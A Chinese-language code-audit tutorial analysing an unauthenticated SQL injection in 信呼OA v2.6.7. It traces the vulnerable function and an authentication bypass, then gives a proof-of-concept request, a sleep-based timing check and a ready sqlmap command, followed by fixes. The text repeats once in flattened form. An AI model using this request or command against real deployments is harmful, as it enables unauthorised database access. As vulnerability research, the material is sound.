php代码审计篇 - 信呼OA 前台注入分析
字数 1033 2025-08-30 06:50:12

信呼OA v2.6.7 SQL注入漏洞分析与利用教学文档

1. 系统介绍

信呼OA是一款企业办公自动化系统,官网地址:http://www.rockoa.com

2. 路由分析

  • 系统采用特定的路由结构:
    • a参数表示方法
    • m参数表示目录
    • 对于多层目录结构:
      • d是最外层目录
      • m由"文件名|目录"组成

3. 漏洞点定位

3.1 核心漏洞函数

savefingerprint函数中存在SQL注入漏洞:

function savefingerprint($snid, $uid, $devid='')
{
    $where = "`snid`='$snid' and `uid`='$uid'";
    if($devid)$where.=" and `devid`='$devid'";
    $this->kquobj->rows($where); // SQL执行点
}

其中$snid$uid参数被直接拼接到SQL语句中。

3.2 调用链分析

  1. savefingerprint函数被两处调用,其中一处调用可控:

    if($dtype=='fingerprint'){
        $dstr = $arr['value'];
        $rs   = c('check')->checkstr($dstr);
        $this->savefingerprint($this->snid, $rs['ccid']);
    }
    
  2. 调用链追溯:

    • openkqjAction.php中的apiAction函数调用kqjcmdModel.php中的postdata函数
    • $this->postdata来自openapiAction类的getpostdata()方法,完全可控

4. 鉴权分析

  1. 正常情况下openapiAction类有鉴权机制
  2. openkqjClassAction类重写了initAction()方法,导致父类鉴权失效
  3. 重写的方法未实现任何鉴权,导致未授权访问

5. 漏洞利用构造

5.1 请求构造要点

  1. 需要满足$act值为'post':

    • 系统通过URL路径解析$act
    • 例如:/openkqjClass/api/post
  2. 必须参数:

    • sn参数必须设置为1(或其他有效值)
  3. POST数据要求:

    • 必须为JSON格式
    • 需要包含fingerprint字段

5.2 完整POC构造

POST /openkqjClass/api/post?sn=1 HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "fingerprint": {
        "value": "恶意构造的payload",
        "ccid": "注入payload"
    }
}

5.3 SQL注入验证

  1. 通过MySQL日志监控确认SQL执行
  2. 时间盲注验证:
    • 构造ccidsleep(5)验证延时效果

6. SQLMap自动化利用

sqlmap -u "http://target.com/openkqjClass/api/post?sn=1" \
       --data='{"fingerprint":{"value":"1","ccid":"*"}}' \
       --headers="Content-Type: application/json" \
       --level=5 --risk=3 \
       -p "fingerprint.ccid"

7. 漏洞修复建议

  1. 对所有输入参数进行严格过滤和类型检查
  2. 使用预处理语句或参数化查询
  3. 恢复或实现有效的鉴权机制
  4. 避免直接拼接用户输入到SQL语句中

8. 关键点总结

  1. 漏洞类型:未授权SQL注入
  2. 影响版本:信呼OA v2.6.7
  3. 注入点:ccid参数
  4. 利用条件:无需认证
  5. 危害程度:高危,可导致数据库信息泄露

9. 调试技巧

  1. 动态调试时可重点关注:
    • postdata函数中的JSON解析
    • savefingerprint函数的参数传递
  2. 使用MySQL日志监控工具实时查看执行的SQL语句
  3. 通过var_dump或日志输出关键变量值
信呼OA v2.6.7 SQL注入漏洞分析与利用教学文档 1. 系统介绍 信呼OA是一款企业办公自动化系统,官网地址:http://www.rockoa.com 2. 路由分析 系统采用特定的路由结构: a 参数表示方法 m 参数表示目录 对于多层目录结构: d 是最外层目录 m 由"文件名|目录"组成 3. 漏洞点定位 3.1 核心漏洞函数 在 savefingerprint 函数中存在SQL注入漏洞: 其中 $snid 和 $uid 参数被直接拼接到SQL语句中。 3.2 调用链分析 savefingerprint 函数被两处调用,其中一处调用可控: 调用链追溯: openkqjAction.php 中的 apiAction 函数调用 kqjcmdModel.php 中的 postdata 函数 $this->postdata 来自 openapiAction 类的 getpostdata() 方法,完全可控 4. 鉴权分析 正常情况下 openapiAction 类有鉴权机制 但 openkqjClassAction 类重写了 initAction() 方法,导致父类鉴权失效 重写的方法未实现任何鉴权,导致未授权访问 5. 漏洞利用构造 5.1 请求构造要点 需要满足 $act 值为'post': 系统通过URL路径解析 $act 值 例如: /openkqjClass/api/post 必须参数: sn 参数必须设置为1(或其他有效值) POST数据要求: 必须为JSON格式 需要包含 fingerprint 字段 5.2 完整POC构造 5.3 SQL注入验证 通过MySQL日志监控确认SQL执行 时间盲注验证: 构造 ccid 为 sleep(5) 验证延时效果 6. SQLMap自动化利用 7. 漏洞修复建议 对所有输入参数进行严格过滤和类型检查 使用预处理语句或参数化查询 恢复或实现有效的鉴权机制 避免直接拼接用户输入到SQL语句中 8. 关键点总结 漏洞类型:未授权SQL注入 影响版本:信呼OA v2.6.7 注入点: ccid 参数 利用条件:无需认证 危害程度:高危,可导致数据库信息泄露 9. 调试技巧 动态调试时可重点关注: postdata 函数中的JSON解析 savefingerprint 函数的参数传递 使用MySQL日志监控工具实时查看执行的SQL语句 通过var_ dump或日志输出关键变量值